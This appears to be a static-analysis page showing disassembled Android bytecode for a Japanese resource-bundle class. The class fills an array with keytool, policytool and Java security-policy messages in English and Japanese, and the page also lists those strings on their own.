                                                                              2961const-string v3, "\u30ef\u30a4\u30eb\u30c9\u30ab\u30fc\u30c9\u540d\u306e\u306a\u3044\u30ef\u30a4\u30eb\u30c9\u30ab\u30fc\u30c9\u30af\u30e9\u30b9\u3092\u4f7f\u3063\u3066\u3001\u4e3b\u4f53\u3092\u6307\u5b9a\u3059\u308b\u3053\u3068\u306f\u3067\u304d\u307e\u305b\u3093\u3002"
                                                                              2962aput-object v3, v2, v5
                                                                              2963aput-object v2, v0, v1
                                                                              2964const/16 v1, 0x149
                                                                              2965new-array v2, v6, [Ljava/lang/Object;
                                                                              2967const-string v3, "expected codeBase or SignedBy or Principal"
                                                                              2968aput-object v3, v2, v4
                                                                              2970const-string v3, "\u671f\u5f85\u3055\u308c\u305f codeBase\u3001SignedBy\u3001\u307e\u305f\u306f Principal"
                                                                              2971aput-object v3, v2, v5
                                                                              2972aput-object v2, v0, v1
                                                                              2973const/16 v1, 0x14a
                                                                              2974new-array v2, v6, [Ljava/lang/Object;
                                                                              2976const-string v3, "expected permission entry"
                                                                              2977aput-object v3, v2, v4
                                                                              2979const-string v3, "\u671f\u5f85\u3055\u308c\u305f\u30a2\u30af\u30bb\u30b9\u6a29\u30a8\u30f3\u30c8\u30ea"
                                                                              2980aput-object v3, v2, v5
                                                                              2981aput-object v2, v0, v1
                                                                              2982const/16 v1, 0x14b
                                                                              2983new-array v2, v6, [Ljava/lang/Object;
                                                                              2985const-string v3, "number "
                                                                              2986aput-object v3, v2, v4
                                                                              2988const-string v3, "\u6570 "
                                                                              2989aput-object v3, v2, v5
                                                                              2990aput-object v2, v0, v1
                                                                              2991const/16 v1, 0x14c
                                                                              2992new-array v2, v6, [Ljava/lang/Object;
                                                                              2994const-string v3, "expected [expect], read [end of file]"
                                                                              2995aput-object v3, v2, v4
                                                                              2997const-string v3, "[{0}] \u3067\u306f\u306a\u304f [\u30d5\u30a1\u30a4\u30eb\u306e\u7d42\u308f\u308a] \u304c\u8aad\u307f\u8fbc\u307e\u308c\u307e\u3057\u305f\u3002"
                                                                              2998aput-object v3, v2, v5
                                                                              2999aput-object v2, v0, v1
                                                                              3000const/16 v1, 0x14d
                                                                              3001new-array v2, v6, [Ljava/lang/Object;
                                                                              3003const-string v3, "expected [;], read [end of file]"
                                                                              3004aput-object v3, v2, v4
                                                                              3006const-string v3, "[;] \u3067\u306f\u306a\u304f [\u30d5\u30a1\u30a4\u30eb\u306e\u7d42\u308f\u308a] \u304c\u8aad\u307f\u8fbc\u307e\u308c\u307e\u3057\u305f\u3002"
                                                                              3007aput-object v3, v2, v5
                                                                              3008aput-object v2, v0, v1
                                                                              3009const/16 v1, 0x14e
                                                                              3010new-array v2, v6, [Ljava/lang/Object;
                                                                              3012const-string v3, "line number: msg"
                                                                              3013aput-object v3, v2, v4
                                                                              3015const-string v3, "\u884c {0}: {1}"
                                                                              3016aput-object v3, v2, v5
                                                                              3017aput-object v2, v0, v1
                                                                              3018const/16 v1, 0x14f
                                                                              3019new-array v2, v6, [Ljava/lang/Object;
                                                                              3021const-string v3, "line number: expected [expect], found [actual]"
                                                                              3022aput-object v3, v2, v4
                                                                              3024const-string v3, "\u884c {0}: [{1}] \u3067\u306f\u306a\u304f [{2}] \u304c\u691c\u51fa\u3055\u308c\u307e\u3057\u305f\u3002"
                                                                              3025aput-object v3, v2, v5
                                                                              3026aput-object v2, v0, v1
                                                                              3027const/16 v1, 0x150
                                                                              3028new-array v2, v6, [Ljava/lang/Object;
                                                                              3030const-string v3, "null principalClass or principalName"
                                                                              3031aput-object v3, v2, v4
                                                                              3033const-string v3, "null \u306e principalClass \u307e\u305f\u306f principalName"
                                                                              3034aput-object v3, v2, v5
                                                                              3035aput-object v2, v0, v1
                                                                              3036const/16 v1, 0x151
                                                                              3037new-array v2, v6, [Ljava/lang/Object;
                                                                              3039const-string v3, "PKCS11 Token [providerName] Password: "
                                                                              3040aput-object v3, v2, v4
                                                                              3042const-string v3, "PKCS11 \u30c8\u30fc\u30af\u30f3 [{0}] \u30d1\u30b9\u30ef\u30fc\u30c9: "
                                                                              3043aput-object v3, v2, v5
                                                                              3044aput-object v2, v0, v1
                                                                              3045const/16 v1, 0x152
                                                                              3046new-array v2, v6, [Ljava/lang/Object;
                                                                              3048const-string v3, "unable to instantiate Subject-based policy"
                                                                              3049aput-object v3, v2, v4
                                                                              3051const-string v3, "\u30b5\u30d6\u30b8\u30a7\u30af\u30c8\u30d9\u30fc\u30b9\u306e\u30dd\u30ea\u30b7\u30fc\u306e\u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\u3092\u751f\u6210\u3067\u304d\u307e\u305b\u3093"
                                                                              3052aput-object v3, v2, v5
                                                                              3053aput-object v2, v0, v1
                                                                              3054sput-object v0, Lcom/android/leech/patch/apksigner/sun/security/util/Resources_ja;->contents:[[Ljava/lang/Object;
                                                                              3055return-void
                                                                              APIs
                                                                              Strings
                                                                              • ,
                                                                              • \n
                                                                              • *******************************************
                                                                              • *******************************************\n\n
                                                                              • keytool error:
                                                                              • Illegal option:
                                                                              • Try keytool -help
                                                                              • Command option <flag> needs an argument.
                                                                              • Command option {0} needs an argument.
                                                                              • Warning: Different store and key passwords not supported for PKCS12 KeyStores. Ignoring user-specified <command> value.
                                                                              • Warning: Different store and key passwords not supported for PKCS12 KeyStores. Ignoring user-specified {0} value.
                                                                              • -keystore must be NONE if -storetype is {0}
                                                                              • Too may retries, program terminated
                                                                              • -storepasswd and -keypasswd commands not supported if -storetype is {0}
                                                                              • -keypasswd commands not supported if -storetype is PKCS12
                                                                              • -keypass and -new can not be specified if -storetype is {0}
                                                                              • if -protected is specified, then -storepass, -keypass, and -new must not be specified
                                                                              • if -srcprotected is specified, then -srcstorepass and -srckeypass must not be specified
                                                                              • if keystore is not password protected, then -storepass, -keypass, and -new must not be specified
                                                                              • if source keystore is not password protected, then -srcstorepass and -srckeypass must not be specified
                                                                              • Validity must be greater than zero
                                                                              • provName not a provider
                                                                              • {0} not a provider
                                                                              • Usage error: no command provided
                                                                              • Usage error, <arg> is not a legal command
                                                                              • Usage error, {0} is not a legal command
                                                                              • Source keystore file exists, but is empty:
                                                                              • Please specify -srckeystore
                                                                              • Must not specify both -v and -rfc with \'list\' command
                                                                              • Key password must be at least 6 characters
                                                                              • New password must be at least 6 characters
                                                                              • Keystore file exists, but is empty:
                                                                              • Keystore file does not exist:
                                                                              • Must specify destination alias
                                                                              • Must specify alias
                                                                              • Keystore password must be at least 6 characters
                                                                              • Enter keystore password:
                                                                              • Enter source keystore password:
                                                                              • Enter destination keystore password:
                                                                              • Keystore password is too short - must be at least 6 characters
                                                                              • Unknown Entry Type
                                                                              • Too many failures. Alias not changed
                                                                              • Entry for alias <alias> successfully imported.
                                                                              • Entry for alias {0} successfully imported.
                                                                              • Entry for alias <alias> not imported.
                                                                              • Entry for alias {0} not imported.
                                                                              • Problem importing entry for alias <alias>: <exception>.\nEntry for alias <alias> not imported.
                                                                              • Problem importing entry for alias {0}: {1}.\nEntry for alias {0} not imported.
                                                                              • Import command completed: <ok> entries successfully imported, <fail> entries failed or cancelled
                                                                              • Import command completed: {0} entries successfully imported, {1} entries failed or cancelled
                                                                              • Warning: Overwriting existing alias <alias> in destination keystore
                                                                              • Warning: Overwriting existing alias {0} in destination keystore
                                                                              • Existing entry alias <alias> exists, overwrite? [no]:
                                                                              • Existing entry alias {0} exists, overwrite? [no]:
                                                                              • Too many failures - try later
                                                                              • Certification request stored in file <filename>
                                                                              • Certification request stored in file <{0}>
                                                                              • Submit this to your CA
                                                                              • if alias not specified, destalias, srckeypass, and destkeypass must not be specified
                                                                              • Certificate stored in file <filename>
                                                                              • Certificate stored in file <{0}>
                                                                              • Certificate reply was installed in keystore
                                                                              • Certificate reply was not installed in keystore
                                                                              • Certificate was added to keystore
                                                                              • Certificate was not added to keystore
                                                                              • [Storing ksfname]
                                                                              • [Storing {0}]
                                                                              • alias has no public key (certificate)
                                                                              • {0} has no public key (certificate)
                                                                              • Cannot derive signature algorithm
                                                                              • Alias <alias> does not exist
                                                                              • Alias <{0}> does not exist
                                                                              • Alias <alias> has no certificate
                                                                              • Alias <{0}> has no certificate
                                                                              • Key pair not generated, alias <alias> already exists
                                                                              • Key pair not generated, alias <{0}> already exists
                                                                              • Generating keysize bit keyAlgName key pair and self-signed certificate (sigAlgName) with a validity of validality days\n\tfor: x500Name
                                                                              • Generating {0} bit {1} key pair and self-signed certificate ({2}) with a validity of {3} days\n\tfor: {4}
                                                                              • Enter key password for <alias>
                                                                              • Enter key password for <{0}>
                                                                              • \t(RETURN if same as keystore password):
                                                                              • Key password is too short - must be at least 6 characters
                                                                              • Too many failures - key not added to keystore
                                                                              • Destination alias <dest> already exists
                                                                              • Destination alias <{0}> already exists
                                                                              • Password is too short - must be at least 6 characters
                                                                              • Too many failures. Key entry not cloned
                                                                              • key password for <alias>
                                                                              • key password for <{0}>
                                                                              • Keystore entry for <id.getName()> already exists
                                                                              • Keystore entry for <{0}> already exists
                                                                              • Creating keystore entry for <id.getName()> ...
                                                                              • Creating keystore entry for <{0}> ...
                                                                              • No entries from identity database added
                                                                              • Alias name: alias
                                                                              • Alias name: {0}
                                                                              • Creation date: keyStore.getCreationDate(alias)
                                                                              • Creation date: {0,date}
                                                                              • alias, keyStore.getCreationDate(alias),
                                                                              • {0}, {1,date},
                                                                              • alias,
                                                                              • {0},
                                                                              • Entry type: <type>
                                                                              • Entry type: {0}
                                                                              • Certificate chain length:
                                                                              • Certificate[(i + 1)]:
                                                                              • Certificate[{0,number,integer}]:
                                                                              • Certificate fingerprint (MD5):
                                                                              • Entry type: trustedCertEntry\n
                                                                              • trustedCertEntry,
                                                                              • Keystore type:
                                                                              • Keystore provider:
                                                                              • Your keystore contains keyStore.size() entry
                                                                              • Your keystore contains {0,number,integer} entry
                                                                              • Your keystore contains keyStore.size() entries
                                                                              • Your keystore contains {0,number,integer} entries
                                                                              • Failed to parse input
                                                                              • Empty input
                                                                              • Not X.509 certificate
                                                                              • alias has no public key
                                                                              • {0} has no public key
                                                                              • alias has no X.509 certificate
                                                                              • {0} has no X.509 certificate
                                                                              • New certificate (self-signed):
                                                                              • Reply has no certificates
                                                                              • Certificate not imported, alias <alias> already exists
                                                                              • Certificate not imported, alias <{0}> already exists
                                                                              • Input not an X.509 certificate
                                                                              • Certificate already exists in keystore under alias <trustalias>
                                                                              • Certificate already exists in keystore under alias <{0}>
                                                                              • Do you still want to add it? [no]:
                                                                              • Certificate already exists in system-wide CA keystore under alias <trustalias>
                                                                              • Certificate already exists in system-wide CA keystore under alias <{0}>
                                                                              • Do you still want to add it to your own keystore? [no]:
                                                                              • Trust this certificate? [no]:
                                                                              • YES
                                                                              • New prompt:
                                                                              • New {0}:
                                                                              • Passwords must differ
                                                                              • Re-enter new prompt:
                                                                              • Re-enter new {0}:
                                                                              • Re-enter new password:
                                                                              • They don\'t match. Try again
                                                                              • Enter prompt alias name:
                                                                              • Enter {0} alias name:
                                                                              • Enter new alias name\t(RETURN to cancel import for this entry):
                                                                              • Enter alias name:
                                                                              • \t(RETURN if same as for <otherAlias>)
                                                                              • \t(RETURN if same as for <{0}>)
                                                                              • *PATTERN* printX509Cert
                                                                              • Owner: {0}\nIssuer: {1}\nSerial number: {2}\nValid from: {3} until: {4}\nCertificate fingerprints:\n\t MD5: {5}\n\t SHA1: {6}\n\t Signature algorithm name: {7}\n\t Version: {8}
                                                                              • What is your first and last name?
                                                                              • What is the name of your organizational unit?
                                                                              • What is the name of your organization?
                                                                              • What is the name of your City or Locality?
                                                                              • What is the name of your State or Province?
                                                                              • What is the two-letter country code for this unit?
                                                                              • Is <name> correct?
                                                                              • Is {0} correct?
                                                                              • no
                                                                              • yes
                                                                              • y
                                                                              • [defaultValue]:
                                                                              • [{0}]:
                                                                              • Alias <alias> has no key
                                                                              • Alias <{0}> has no key
                                                                              • Alias <alias> references an entry type that is not a private key entry. The -keyclone command only supports cloning of private key entries
                                                                              • Alias <{0}> references an entry type that is not a private key entry. The -keyclone command only supports cloning of private key entries
                                                                              • ***************** WARNING WARNING WARNING *****************
                                                                              • * The integrity of the information stored in your keystore *
                                                                              • * The integrity of the information stored in the srckeystore*
                                                                              • * has NOT been verified! In order to verify its integrity, *
                                                                              • * you must provide your keystore password. *
                                                                              • * you must provide the srckeystore password. *
                                                                              • Certificate reply does not contain public key for <alias>
                                                                              • Certificate reply does not contain public key for <{0}>
                                                                              • Incomplete certificate chain in reply
                                                                              • Certificate chain in reply does not verify:
                                                                              • Top-level certificate in reply:\n
                                                                              • ... is not trusted.
                                                                              • Install reply anyway? [no]:
                                                                              • NO
                                                                              • Public keys in reply and keystore don\'t match
                                                                              • Certificate reply and certificate in keystore are identical
                                                                              • Failed to establish chain from reply
                                                                              • n
                                                                              • Wrong answer, try again
                                                                              • Secret key not generated, alias <alias> already exists
                                                                              • Secret Key not generated, alias <{0}> already exists
                                                                              • Please provide -keysize for secret key generation
                                                                              • keytool usage:\n
                                                                              • Extensions:
                                                                              • -certreq [-v] [-protected]
                                                                              • \t [-alias <alias>] [-sigalg <sigalg>]
                                                                              • \t [-file <csr_file>] [-keypass <keypass>]
                                                                              • \t [-keystore <keystore>] [-storepass <storepass>]
                                                                              • \t [-storetype <storetype>] [-providername <name>]
                                                                              • \t [-providerclass <provider_class_name> [-providerarg <arg>]] ...
                                                                              • \t [-providerpath <pathlist>]
                                                                              • -delete [-v] [-protected] -alias <alias>
                                                                              • -exportcert [-v] [-rfc] [-protected]
                                                                              • \t [-alias <alias>] [-file <cert_file>]
                                                                              • -genkeypair [-v] [-protected]
                                                                              • \t [-alias <alias>]
                                                                              • \t [-keyalg <keyalg>] [-keysize <keysize>]
                                                                              • \t [-sigalg <sigalg>] [-dname <dname>]
                                                                              • \t [-validity <valDays>] [-keypass <keypass>]
                                                                              • -genseckey [-v] [-protected]
                                                                              • -help
                                                                              • -importcert [-v] [-noprompt] [-trustcacerts] [-protected]
                                                                              • \t [-alias <alias>] [-keypass <keypass>]
                                                                              • \t [-file <cert_file>] [-keypass <keypass>]
                                                                              • -importkeystore [-v]
                                                                              • \t [-srckeystore <srckeystore>] [-destkeystore <destkeystore>]
                                                                              • \t [-srcstoretype <srcstoretype>] [-deststoretype <deststoretype>]
                                                                              • \t [-srcprotected] [-destprotected]
                                                                              • \t [-srcstorepass <srcstorepass>] [-deststorepass <deststorepass>]
                                                                              • \t [-srcprovidername <srcprovidername>]\n\t [-destprovidername <destprovidername>]
                                                                              • \t [-srcalias <srcalias> [-destalias <destalias>]
                                                                              • \t [-srckeypass <srckeypass>] [-destkeypass <destkeypass>]]
                                                                              • \t [-noprompt]
                                                                              • -changealias [-v] [-protected] -alias <alias> -destalias <destalias>
                                                                              • \t [-keypass <keypass>]
                                                                              • -keypasswd [-v] [-alias <alias>]
                                                                              • \t [-keypass <old_keypass>] [-new <new_keypass>]
                                                                              • -list [-v | -rfc] [-protected]
                                                                              • -printcert [-v] [-file <cert_file>]
                                                                              • -storepasswd [-v] [-new <new_storepass>]
                                                                              • Warning: A public key for alias \'signers[i]\' does not exist. Make sure a KeyStore is properly configured.
                                                                              • Warning: A public key for alias {0} does not exist. Make sure a KeyStore is properly configured.
                                                                              • Warning: Class not found: class
                                                                              • Warning: Class not found: {0}
                                                                              • Warning: Invalid argument(s) for constructor: arg
                                                                              • Warning: Invalid argument(s) for constructor: {0}
                                                                              • Illegal Principal Type: type
                                                                              • Illegal Principal Type: {0}
                                                                              • Illegal option: option
                                                                              • Illegal option: {0}
                                                                              • Usage: policytool [options]
                                                                              • [-file <file>] policy file location
                                                                              • New
                                                                              • Open
                                                                              • Save
                                                                              • Save As
                                                                              • View Warning Log
                                                                              • Exit
                                                                              • Add Policy Entry
                                                                              • Edit Policy Entry
                                                                              • Remove Policy Entry
                                                                              • Edit
                                                                              • Retain
                                                                              • Warning: File name may include escaped backslash characters. It is not necessary to escape backslash characters (the tool escapes characters as necessary when writing the policy contents to the persistent store).\n\nClick on Retain to retain the entered name, or click on Edit to edit the name.
                                                                              • Add Public Key Alias
                                                                              • Remove Public Key Alias
                                                                              • File
                                                                              • KeyStore
                                                                              • Policy File:
                                                                              • Could not open policy file: policyFile: e.toString()
                                                                              • Could not open policy file: {0}: {1}
                                                                              • Policy Tool
                                                                              • Errors have occurred while opening the policy configuration. View the Warning Log for more information.
                                                                              • Error
                                                                              • OK
                                                                              • Status
                                                                              • Warning
                                                                              • Permission:
                                                                              • Principal Type:
                                                                              • Principal Name:
                                                                              • Target Name:
                                                                              • Actions:
                                                                              • OK to overwrite existing file filename?
                                                                              • OK to overwrite existing file {0}?
                                                                              • Cancel
                                                                              • CodeBase:
                                                                              • SignedBy:
                                                                              • Add Principal
                                                                              • Edit Principal
                                                                              • Remove Principal
                                                                              • Principals:
                                                                              • Add Permission
                                                                              • Edit Permission
                                                                              • Remove Permission
                                                                              • Done
                                                                              • KeyStore URL:
                                                                              • KeyStore Type:
                                                                              • KeyStore Provider:
                                                                              • KeyStore Password URL:
                                                                              • Principals
                                                                              • Edit Principal:
                                                                              • Add New Principal:
                                                                              • Permissions
                                                                              • Edit Permission:
                                                                              • Add New Permission:
                                                                              • Signed By:
                                                                              • Cannot Specify Principal with a Wildcard Class without a Wildcard Name
                                                                              • Cannot Specify Principal without a Name
                                                                              • Permission and Target Name must have a value
                                                                              • Remove this Policy Entry?
                                                                              • Overwrite File
                                                                              • Policy successfully written to filename
                                                                              • Policy successfully written to {0}
                                                                              • null filename
                                                                              • Save changes?
                                                                              • Yes
                                                                              • No
                                                                              • Policy Entry
                                                                              • Save Changes
                                                                              • No Policy Entry selected
                                                                              • Unable to open KeyStore: ex.toString()
                                                                              • Unable to open KeyStore: {0}
                                                                              • No principal selected
                                                                              • No permission selected
                                                                              • name
                                                                              • configuration type
                                                                              • environment variable name
                                                                              • library name
                                                                              • package name
                                                                              • policy type
                                                                              • property name
                                                                              • provider name
                                                                              • Principal List
                                                                              • Permission List
                                                                              • Code Base
                                                                              • KeyStore U R L:
                                                                              • KeyStore Password U R L:
                                                                              • invalid null input(s)
                                                                              • actions can only be \'read\'
                                                                              • permission name [name] syntax invalid:
                                                                              • permission name [{0}] syntax invalid:
                                                                              • Credential Class not followed by a Principal Class and Name
                                                                              • Principal Class not followed by a Principal Name
                                                                              • Principal Name must be surrounded by quotes
                                                                              • Principal Name missing end quote
                                                                              • PrivateCredentialPermission Principal Class can not be a wildcard (*) value if Principal Name is not a wildcard (*) value
                                                                              • CredOwner:\n\tPrincipal Class = class\n\tPrincipal Name = name
                                                                              • CredOwner:\n\tPrincipal Class = {0}\n\tPrincipal Name = {1}
                                                                              • provided null name
                                                                              • provided null keyword map
                                                                              • provided null OID map
                                                                              • invalid null AccessControlContext provided
                                                                              • invalid null action provided
                                                                              • invalid null Class provided
                                                                              • Subject:\n
                                                                              • \tPrincipal:
                                                                              • \tPublic Credential:
                                                                              • \tPrivate Credentials inaccessible\n
                                                                              • \tPrivate Credential:
                                                                              • \tPrivate Credential inaccessible\n
                                                                              • Subject is read-only
                                                                              • attempting to add an object which is not an instance of java.security.Principal to a Subject\'s Principal Set
                                                                              • attempting to add an object which is not an instance of class
                                                                              • attempting to add an object which is not an instance of {0}
                                                                              • LoginModuleControlFlag:
                                                                              • Invalid null input: name
                                                                              • No LoginModules configured for name
                                                                              • No LoginModules configured for {0}
                                                                              • invalid null Subject provided
                                                                              • invalid null CallbackHandler provided
                                                                              • null subject - logout called before login
                                                                              • unable to instantiate LoginModule, module, because it does not provide a no-argument constructor
                                                                              • unable to instantiate LoginModule, {0}, because it does not provide a no-argument constructor
                                                                              • unable to instantiate LoginModule
                                                                              • unable to instantiate LoginModule:
                                                                              • unable to find LoginModule class:
                                                                              • unable to access LoginModule:
                                                                              • Login Failure: all modules ignored
                                                                              • java.security.policy: error parsing policy:\n\tmessage
                                                                              • java.security.policy: error parsing {0}:\n\t{1}
                                                                              • java.security.policy: error adding Permission, perm:\n\tmessage
                                                                              • java.security.policy: error adding Permission, {0}:\n\t{1}
                                                                              • java.security.policy: error adding Entry:\n\tmessage
                                                                              • java.security.policy: error adding Entry:\n\t{0}
                                                                              • alias name not provided (pe.name)
                                                                              • alias name not provided ({0})
                                                                              • unable to perform substitution on alias, suffix
                                                                              • unable to perform substitution on alias, {0}
                                                                              • substitution value, prefix, unsupported
                                                                              • substitution value, {0}, unsupported
                                                                              • (
                                                                              • )
                                                                              • type can\'t be null
                                                                              • keystorePasswordURL can not be specified without also specifying keystore
                                                                              • expected keystore type
                                                                              • expected keystore provider
                                                                              • multiple Codebase expressions
                                                                              • multiple SignedBy expressions
                                                                              • SignedBy has empty alias
                                                                              • can not specify Principal with a wildcard class without a wildcard name
                                                                              • expected codeBase or SignedBy or Principal
                                                                              • expected permission entry
                                                                              • number
                                                                              • expected [expect], read [end of file]
                                                                              • expected [{0}], read [end of file]
                                                                              • expected [;], read [end of file]
                                                                              • line number: msg
                                                                              • line {0}: {1}
                                                                              • line number: expected [expect], found [actual]
                                                                              • line {0}: expected [{1}], found [{2}]
                                                                              • null principalClass or principalName
                                                                              • PKCS11 Token [providerName] Password:
                                                                              • PKCS11 Token [{0}] Password:
                                                                              • unable to instantiate Subject-based policy
                                                                              Position Instruction Meta Information
                                                                              0.prologue
                                                                              1const/4 v6, 0x2
                                                                              2const/4 v5, 0x1
                                                                              3const/4 v4, 0x0
                                                                              4const/16 v0, 0x153
                                                                              5new-array v0, v0, [[Ljava/lang/Object;
                                                                              6new-array v1, v6, [Ljava/lang/Object;
                                                                              8const-string v2, " "
                                                                              9aput-object v2, v1, v4
                                                                              11const-string v2, " "
                                                                              12aput-object v2, v1, v5
                                                                              13aput-object v1, v0, v4
                                                                              14new-array v1, v6, [Ljava/lang/Object;
                                                                              16const-string v2, " "
                                                                              17aput-object v2, v1, v4
                                                                              19const-string v2, " "
                                                                              20aput-object v2, v1, v5
                                                                              21aput-object v1, v0, v5
                                                                              22new-array v1, v6, [Ljava/lang/Object;
                                                                              24const-string v2, " "
                                                                              25aput-object v2, v1, v4
                                                                              27const-string v2, " "
                                                                              28aput-object v2, v1, v5
                                                                              29aput-object v1, v0, v6
                                                                              30const/4 v1, 0x3
                                                                              31new-array v2, v6, [Ljava/lang/Object;
                                                                              33const-string v3, ", "
                                                                              34aput-object v3, v2, v4
                                                                              36const-string v3, ", "
                                                                              37aput-object v3, v2, v5
                                                                              38aput-object v2, v0, v1
                                                                              39const/4 v1, 0x4
                                                                              40new-array v2, v6, [Ljava/lang/Object;
                                                                              42const-string v3, "\n"
                                                                              43aput-object v3, v2, v4
                                                                              45const-string v3, "\n"
                                                                              46aput-object v3, v2, v5
                                                                              47aput-object v2, v0, v1
                                                                              48const/4 v1, 0x5
                                                                              49new-array v2, v6, [Ljava/lang/Object;
                                                                              51const-string v3, "*******************************************"
                                                                              52aput-object v3, v2, v4
                                                                              54const-string v3, "*******************************************"
                                                                              55aput-object v3, v2, v5
                                                                              56aput-object v2, v0, v1
                                                                              57const/4 v1, 0x6
                                                                              58new-array v2, v6, [Ljava/lang/Object;
                                                                              60const-string v3, "*******************************************\n\n"
                                                                              61aput-object v3, v2, v4
                                                                              63const-string v3, "*******************************************\n\n"
                                                                              64aput-object v3, v2, v5
                                                                              65aput-object v2, v0, v1
                                                                              66const/4 v1, 0x7
                                                                              67new-array v2, v6, [Ljava/lang/Object;
                                                                              69const-string v3, "keytool error: "
                                                                              70aput-object v3, v2, v4
                                                                              72const-string v3, "keytool error: "
                                                                              73aput-object v3, v2, v5
                                                                              74aput-object v2, v0, v1
                                                                              75const/16 v1, 0x8
                                                                              76new-array v2, v6, [Ljava/lang/Object;
                                                                              78const-string v3, "Illegal option: "
                                                                              79aput-object v3, v2, v4
                                                                              81const-string v3, "Illegal option: "
                                                                              82aput-object v3, v2, v5
                                                                              83aput-object v2, v0, v1
                                                                              84const/16 v1, 0x9
                                                                              85new-array v2, v6, [Ljava/lang/Object;
                                                                              87const-string v3, "Try keytool -help"
                                                                              88aput-object v3, v2, v4
                                                                              90const-string v3, "Try keytool -help"
                                                                              91aput-object v3, v2, v5
                                                                              92aput-object v2, v0, v1
                                                                              93const/16 v1, 0xa
                                                                              94new-array v2, v6, [Ljava/lang/Object;
                                                                              96const-string v3, "Command option <flag> needs an argument."
                                                                              97aput-object v3, v2, v4
                                                                              99const-string v3, "Command option {0} needs an argument."
                                                                              100aput-object v3, v2, v5
                                                                              101aput-object v2, v0, v1
                                                                              102const/16 v1, 0xb
                                                                              103new-array v2, v6, [Ljava/lang/Object;
                                                                              105const-string v3, "Warning: Different store and key passwords not supported for PKCS12 KeyStores. Ignoring user-specified <command> value."
                                                                              106aput-object v3, v2, v4
                                                                              108const-string v3, "Warning: Different store and key passwords not supported for PKCS12 KeyStores. Ignoring user-specified {0} value."
                                                                              109aput-object v3, v2, v5
                                                                              110aput-object v2, v0, v1
                                                                              111const/16 v1, 0xc
                                                                              112new-array v2, v6, [Ljava/lang/Object;
                                                                              114const-string v3, "-keystore must be NONE if -storetype is {0}"
                                                                              115aput-object v3, v2, v4
                                                                              117const-string v3, "-keystore must be NONE if -storetype is {0}"
                                                                              118aput-object v3, v2, v5
                                                                              119aput-object v2, v0, v1
                                                                              120const/16 v1, 0xd
                                                                              121new-array v2, v6, [Ljava/lang/Object;
                                                                              123const-string v3, "Too may retries, program terminated"
                                                                              124aput-object v3, v2, v4
                                                                              126const-string v3, "Too may retries, program terminated"
                                                                              127aput-object v3, v2, v5
                                                                              128aput-object v2, v0, v1
                                                                              129const/16 v1, 0xe
                                                                              130new-array v2, v6, [Ljava/lang/Object;
                                                                              132const-string v3, "-storepasswd and -keypasswd commands not supported if -storetype is {0}"
                                                                              133aput-object v3, v2, v4
                                                                              135const-string v3, "-storepasswd and -keypasswd commands not supported if -storetype is {0}"
                                                                              136aput-object v3, v2, v5
                                                                              137aput-object v2, v0, v1
                                                                              138const/16 v1, 0xf
                                                                              139new-array v2, v6, [Ljava/lang/Object;
                                                                              141const-string v3, "-keypasswd commands not supported if -storetype is PKCS12"
                                                                              142aput-object v3, v2, v4
                                                                              144const-string v3, "-keypasswd commands not supported if -storetype is PKCS12"
                                                                              145aput-object v3, v2, v5
                                                                              146aput-object v2, v0, v1
                                                                              147const/16 v1, 0x10
                                                                              148new-array v2, v6, [Ljava/lang/Object;
                                                                              150const-string v3, "-keypass and -new can not be specified if -storetype is {0}"
                                                                              151aput-object v3, v2, v4
                                                                              153const-string v3, "-keypass and -new can not be specified if -storetype is {0}"
                                                                              154aput-object v3, v2, v5
                                                                              155aput-object v2, v0, v1
                                                                              156const/16 v1, 0x11
                                                                              157new-array v2, v6, [Ljava/lang/Object;
                                                                              159const-string v3, "if -protected is specified, then -storepass, -keypass, and -new must not be specified"
                                                                              160aput-object v3, v2, v4
                                                                              162const-string v3, "if -protected is specified, then -storepass, -keypass, and -new must not be specified"
                                                                              163aput-object v3, v2, v5
                                                                              164aput-object v2, v0, v1
                                                                              165const/16 v1, 0x12
                                                                              166new-array v2, v6, [Ljava/lang/Object;
                                                                              168const-string v3, "if -srcprotected is specified, then -srcstorepass and -srckeypass must not be specified"
                                                                              169aput-object v3, v2, v4
                                                                              171const-string v3, "if -srcprotected is specified, then -srcstorepass and -srckeypass must not be specified"
                                                                              172aput-object v3, v2, v5
                                                                              173aput-object v2, v0, v1
                                                                              174const/16 v1, 0x13
                                                                              175new-array v2, v6, [Ljava/lang/Object;
                                                                              177const-string v3, "if keystore is not password protected, then -storepass, -keypass, and -new must not be specified"
                                                                              178aput-object v3, v2, v4
                                                                              180const-string v3, "if keystore is not password protected, then -storepass, -keypass, and -new must not be specified"
                                                                              181aput-object v3, v2, v5
                                                                              182aput-object v2, v0, v1
                                                                              183const/16 v1, 0x14
                                                                              184new-array v2, v6, [Ljava/lang/Object;
                                                                              186const-string v3, "if source keystore is not password protected, then -srcstorepass and -srckeypass must not be specified"
                                                                              187aput-object v3, v2, v4
                                                                              189const-string v3, "if source keystore is not password protected, then -srcstorepass and -srckeypass must not be specified"
                                                                              190aput-object v3, v2, v5
                                                                              191aput-object v2, v0, v1
                                                                              192const/16 v1, 0x15
                                                                              193new-array v2, v6, [Ljava/lang/Object;
                                                                              195const-string v3, "Validity must be greater than zero"
                                                                              196aput-object v3, v2, v4
                                                                              198const-string v3, "Validity must be greater than zero"
                                                                              199aput-object v3, v2, v5
                                                                              200aput-object v2, v0, v1
                                                                              201const/16 v1, 0x16
                                                                              202new-array v2, v6, [Ljava/lang/Object;
                                                                              204const-string v3, "provName not a provider"
                                                                              205aput-object v3, v2, v4
                                                                              207const-string v3, "{0} not a provider"
                                                                              208aput-object v3, v2, v5
                                                                              209aput-object v2, v0, v1
                                                                              210const/16 v1, 0x17
                                                                              211new-array v2, v6, [Ljava/lang/Object;
                                                                              213const-string v3, "Usage error: no command provided"
                                                                              214aput-object v3, v2, v4
                                                                              216const-string v3, "Usage error: no command provided"
                                                                              217aput-object v3, v2, v5
                                                                              218aput-object v2, v0, v1
                                                                              219const/16 v1, 0x18
                                                                              220new-array v2, v6, [Ljava/lang/Object;
                                                                              222const-string v3, "Usage error, <arg> is not a legal command"
                                                                              223aput-object v3, v2, v4
                                                                              225const-string v3, "Usage error, {0} is not a legal command"
                                                                              226aput-object v3, v2, v5
                                                                              227aput-object v2, v0, v1
                                                                              228const/16 v1, 0x19
                                                                              229new-array v2, v6, [Ljava/lang/Object;
                                                                              231const-string v3, "Source keystore file exists, but is empty: "
                                                                              232aput-object v3, v2, v4
                                                                              234const-string v3, "Source keystore file exists, but is empty: "
                                                                              235aput-object v3, v2, v5
                                                                              236aput-object v2, v0, v1
                                                                              237const/16 v1, 0x1a
                                                                              238new-array v2, v6, [Ljava/lang/Object;
